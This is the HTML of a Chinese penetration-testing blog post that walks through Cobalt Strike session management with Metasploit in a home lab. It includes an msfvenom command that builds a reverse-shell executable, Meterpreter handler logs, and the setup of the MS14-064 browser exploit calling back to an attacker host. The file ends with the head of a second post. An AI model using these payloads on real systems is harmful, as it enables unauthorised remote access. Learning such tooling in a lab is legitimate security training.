<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">Cobalt-Strike-五</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-28 22:50:55</span>
<span class="mobile">2021-05-28 22:50:55</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2021-05-31 21:01:49</span>
<span class="mobile">2021-05-31 21:01:49</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/%E6%B8%97%E9%80%8F/">渗透</a>
</li>
</ul>
</span>
<span class="article-tags article-meta-item">
<i class="fa-regular fa-tags"></i>
<ul>
<li>
<a href="/tags/Cobalt-Strike/">-Cobalt Strike</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h2 id="Cobalt-Strike会话管理"><a href="#Cobalt-Strike会话管理" class="headerlink" title="Cobalt Strike会话管理"></a>Cobalt Strike会话管理</h2><h3 id="测试环境"><a href="#测试环境" class="headerlink" title="测试环境"></a>测试环境</h3><table>
<thead>
<tr>
<th>系统</th>
<th>服务</th>
<th>ip</th>
</tr>
</thead>
<tbody><tr>
<td>kali</td>
<td>teamserver1</td>
<td>192.168.3.51</td>
</tr>
<tr>
<td>kali</td>
<td>teamserver2</td>
<td>192.168.3.8</td>
</tr>
<tr>
<td>win7</td>
<td>target</td>
<td>192.168.3.49</td>
</tr>
<tr>
<td>winXP</td>
<td>target</td>
<td>192.168.3.52</td>
</tr>
</tbody></table>
<span id="more"></span>
<h4 id="一-cs派生会话-会话备份"><a href="#一-cs派生会话-会话备份" class="headerlink" title="一. cs派生会话(会话备份)"></a>一. cs派生会话(会话备份)</h4><p> 可以增加自身会话,也可以将会话备份到其它teamserver,基本都是一样的操作</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210528231421947.png" class="" title="image-20210528231421947">
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210528231509051.png" class="" title="image-20210528231509051">
<h4 id="二-cobalt-strike派生给metasploit会话"><a href="#二-cobalt-strike派生给metasploit会话" class="headerlink" title="二. cobalt strike派生给metasploit会话"></a>二. cobalt strike派生给metasploit会话</h4><ol>
<li><p>在msf中创建监听会话</p>
<pre><code>msf5 > use exploit/multi/handler
[*] Using configured payload windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.3.51
lhost => 192.168.3.51
msf5 exploit(multi/handler) > set lport 901
lport => 901
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 5.
[*] Exploit completed, but no session was created.
[-] Handler failed to bind to 192.168.3.51:901:- -
[-] Handler failed to bind to 0.0.0.0:901:- -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:901).
msf5 exploit(multi/handler) > set lport 902
lport => 902
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 6.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.3.51:902
</code></pre>
</li>
<li><p>创建完成后在CS中创建监听会话因为上面我们在msf中创建的监听会话是tcp的所以在CS中也要同样创建tcp的监听</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531150219471.png" class="" title="image-20210531150219471">
</li>
<li><p>右键点击需要派生的shell,点击派生</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531150701696.png" class="" title="image-20210531150701696">
</li>
<li><p>选择我们刚刚配置的监听器</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531150810902.png" class="" title="image-20210531150810902">
</li>
<li><p>执行过后稍等一会儿MSF里面就会产生会话</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531150940137.png" class="" title="image-20210531150940137"></li>
</ol>
<h4 id="三-metasploit生成木马,在CS上监听会话"><a href="#三-metasploit生成木马,在CS上监听会话" class="headerlink" title="三. metasploit生成木马,在CS上监听会话"></a>三. metasploit生成木马,在CS上监听会话</h4><ol>
<li><p>使用命令生成一个回连木马</p>
<p><code>msf5 > msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.3.51 LPORT=903 -f exe > /tmp/shell1.exe</code></p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531152527725.png" class="" title="image-20210531152527725">
<ol start="2">
<li>在cs创建监听器监听这个端口</li>
</ol>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531152644410.png" class="" title="image-20210531152644410">
<ol start="3">
<li>把msf刚刚生成的木马拿到目标机上执行</li>
</ol>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531152801125.png" class="" title="image-20210531152801125">
<ol start="4">
<li>可以看到在cs上返回了一个会话</li>
</ol>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531152903656.png" class="" title="image-20210531152903656"></li>
</ol>
<h4 id="四-metasploit使用溢出exp与cobalt-strike会话"><a href="#四-metasploit使用溢出exp与cobalt-strike会话" class="headerlink" title="四. metasploit使用溢出exp与cobalt strike会话"></a>四. metasploit使用溢出exp与cobalt strike会话</h4><ol>
<li><p>使用MSF创建一个溢出类型的exp</p>
<pre><code>msf5 > use exploit/windows/browser/ms14_064_ole_code_execution
[*] Using configured payload windows/meterpreter/reverse_http
msf5 exploit(windows/browser/ms14_064_ole_code_execution) > set SRVHOST 192.168.3.51
SRVHOST => 192.168.3.51
msf5 exploit(windows/browser/ms14_064_ole_code_execution) > set SRVPORT 80
SRVPORT => 80
msf5 exploit(windows/browser/ms14_064_ole_code_execution) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(windows/browser/ms14_064_ole_code_execution) > set LHOST 192.168.3.51
LHOST => 192.168.3.51
msf5 exploit(windows/browser/ms14_064_ole_code_execution) > set LPORT 905
LPORT => 905
msf5 exploit(windows/browser/ms14_064_ole_code_execution) > set disablepayloadhandler true // 不需要在metasploit框架内创建处理程序来服务有效负载连接
disablepayloadhandler => true
msf5 exploit(windows/browser/ms14_064_ole_code_execution) > set PrependMigrate true // 告诉metasploit框架修改其stager,以便在利用之后立即迁移到另一个进程
PrependMigrate => true
msf5 exploit(windows/browser/ms14_064_ole_code_execution) > exploit
[*] Exploit running as background job 9.
[*] Using URL: http://192.168.3.51:80/NqnvkKl
[*] Server started.
</code></pre>
<ol start="2">
<li>在CS中创建http监听端口905</li>
</ol>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531170120118.png" class="" title="image-20210531170120118">
<ol start="3">
<li>在xp虚拟机下打开这个上面我们生成的漏洞url(因为这个生成的漏洞只能在xp下生效)</li>
</ol>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531170356982.png" class="" title="image-20210531170356982">
<ol start="4">
<li>在CS下可以看到回连消息</li>
</ol>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531170530899.png" class="" title="image-20210531170530899"></li>
</ol>
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> Cobalt-Strike-五</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-28 22:50:55</li>
<li>
<strong>更新于
:</strong> 2021-05-31 21:01:49
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/28/Cobalt-Strike-五/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
<li class="tag-item mx-0.5">
<a href="/tags/Cobalt-Strike/">#-Cobalt Strike</a>
</li>
</ul>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/31/Cobalt-Strike-%E5%85%AD/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">Cobalt-Strike-六</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
<div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="next" rel="next" href="/2021/05/28/Cobalt-Strike-%E5%9B%9B/">
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">Cobalt-Strike-四</span>
<span class="post-nav-item">下一篇</span>
</span>
<span class="right arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-right"></i>
</span>
</a>
</div>
</div>
<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">Cobalt-Strike-五</div>
<ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#Cobalt-Strike%E4%BC%9A%E8%AF%9D%E7%AE%A1%E7%90%86"><span class="nav-text">Cobalt Strike会话管理</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%B5%8B%E8%AF%95%E7%8E%AF%E5%A2%83"><span class="nav-text">测试环境</span></a><ol class="nav-child"><li class="nav-item nav-level-4"><a class="nav-link" href="#%E4%B8%80-cs%E6%B4%BE%E7%94%9F%E4%BC%9A%E8%AF%9D-%E4%BC%9A%E8%AF%9D%E5%A4%87%E4%BB%BD"><span class="nav-text">一. cs派生会话(会话备份)</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#%E4%BA%8C-cobalt-strike%E6%B4%BE%E7%94%9F%E7%BB%99metasploit%E4%BC%9A%E8%AF%9D"><span class="nav-text">二. cobalt strike派生给metasploit会话</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#%E4%B8%89-metasploit%E7%94%9F%E6%88%90%E6%9C%A8%E9%A9%AC%EF%BC%8C%E5%9C%A8CS%E4%B8%8A%E7%9B%91%E5%90%AC%E4%BC%9A%E8%AF%9D"><span class="nav-text">三. metasploit生成木马,在CS上监听会话</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#%E5%9B%9B-metasploit%E4%BD%BF%E7%94%A8%E6%BA%A2%E5%87%BAexp%E4%B8%8Ecobalt-strike%E4%BC%9A%E8%AF%9D"><span class="nav-text">四. metasploit使用溢出exp与cobalt strike会话</span></a></li></ol></li></ol></li></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/28/Cobalt-Strike-五/index.html | HTML | unknown | 37,717 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/28/cobalt-strike-四/"/>
<meta name="robots" content="index,follow">
<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="Cobalt Strike用户驱动攻击使用cs生成木马让目标机上线后 有很多用户驱动攻击的模块可以使用">
<meta property="og:type" content="article">
<meta property="og:title" content="Cobalt-Strike-四">
<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E5%9B%9B/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="Cobalt Strike用户驱动攻击使用cs生成木马让目标机上线后 有很多用户驱动攻击的模块可以使用">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E5%9B%9B/image-20210528164836829.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E5%9B%9B/image-20210528164602695.png">
<meta property="article:published_time" content="2021-05-28T05:46:11.000Z">
<meta property="article:modified_time" content="2021-05-31T13:12:36.636Z">
<meta property="article:author" content="xiaoeryu">
<meta property="article:tag" content="-Cobalt Strike">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E5%9B%9B/image-20210528164836829.png">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
Cobalt-Strike-四 | xiaoeryu
</title>
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
